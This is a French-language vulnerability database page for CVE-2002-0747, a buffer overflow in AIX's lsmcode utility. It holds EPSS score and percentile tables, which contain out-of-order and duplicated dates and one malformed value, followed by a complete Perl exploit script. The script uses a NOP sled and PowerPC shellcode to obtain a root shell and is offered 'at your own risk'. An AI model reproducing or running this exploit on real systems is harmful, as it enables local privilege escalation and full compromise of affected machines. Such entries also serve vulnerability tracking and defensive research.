CVE-2002-0747 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	0.47%	–
2023-09-17	–	–	–	0.47%	–
2023-12-10	–	–	–	0.45%	–
2024-02-11	–	–	–	0.45%	–
2024-03-31	–	–	–	0.45%	–
2024-06-02	–	–	–	0.45%	–
2024-06-30	–	–	–	0.42%	–
2024-08-25	–	–	–	0.42%	–
2024-09-22	–	–	–	0.42%	–
2024-10-06	–	–	–	0.42%	–
2024-12-22	–	–	–	0.42%	–
2025-01-05	–	–	–	0.6%	–
2025-02-16	–	–	–	0.6%	–
2025-01-19	–	–	–	0.6%	–
2025-02-16	–	–	–	0.6%	–
2025-03-18	–	–	–	–	10.94%
2025-03-18	–	–	–	–	10.94,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	72%
2023-09-17	73%
2023-12-10	72%
2024-02-11	74%
2024-03-31	75%
2024-06-02	75%
2024-06-30	74%
2024-08-25	75%
2024-09-22	74%
2024-10-06	75%
2024-12-22	74%
2025-01-05	78%
2025-02-16	79%
2025-01-19	78%
2025-02-16	79%
2025-03-18	93%
2025-03-18	93%

source: https://www.securityfocus.com/bid/7871/info Insufficient bounds checking in the lsmcode utility will allow locally based attackers to cause memory to be corrupted with attacker-supplied data. As a result, it is possible to exploit this condition to execute arbitrary attacker-supplied instructions with elevated privileges. #!/usr/bin/perl # FileName: x_lsmcode_aix4x.pl # Exploit lsmcode of Aix4.3.3 to get a uid=0 shell. # Tested : on Aix4.3.3.Mybe can work on other versions. # Author : watercloud@xfocus.org # Site : www.xfocus.org www.xfocus.net # Date : 2003-6-1 # Announce: use as your owner risk! $CMD="/usr/sbin/lsmcode"; $_=`/usr/bin/oslevel`; $XID="\x03"; $UID="\x97"; print "\n\nExploit $CMD for Aix 4.3.3 to get uid=0 shell.\n"; print "From: [ www.xfocus.org 2003-6-1 ].\n\n"; $NOP="\x7c\xa5\x2a\x79"x800; %ENV=(); $ENV{CCC}="A" .$NOP.&getshell($XID,$UID); $ENV{DIAGNOSTICS}="\x2f\xf2\x2a\x2f"x300; $ret = system $CMD ,"-d","a"; for($i=0;$i<4 && $ret;$i++){ for($j=0;$j<4 && $ret;$j++) { $ENV{CCC}="A"x $i .$NOP.&getshell($XID,$UID); $ENV{DIAGNOSTICS}="A"x $j ."\x2f\xf2\x2a\x2f"x300; $ret = system $CMD ,"-d","a"; } } #sub sub getshell($XID,$GID) { my $SHELL,($XID,$GID)=@_; $SHELL="\x7e\x94\xa2\x79\x7e\x84\xa3\x78\x40\x82\xff\xfd"; $SHELL.="\x7e\xa8\x02\xa6\x3a\xb5\x01\x40\x88\x55\xfe\xe0"; $SHELL.="\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6"; $SHELL.="\x4c\xc6\x33\x42\x44\xff\xff\x02$GID$XID\xff\xff"; $SHELL.="\x38\x75\xff\x04\x38\x95\xff\x0c\x7e\x85\xa3\x78"; $SHELL.="\x90\x75\xff\x0c\x92\x95\xff\x10\x88\x55\xfe\xe1"; $SHELL.="\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh\xff"; return $SHELL; } #EOF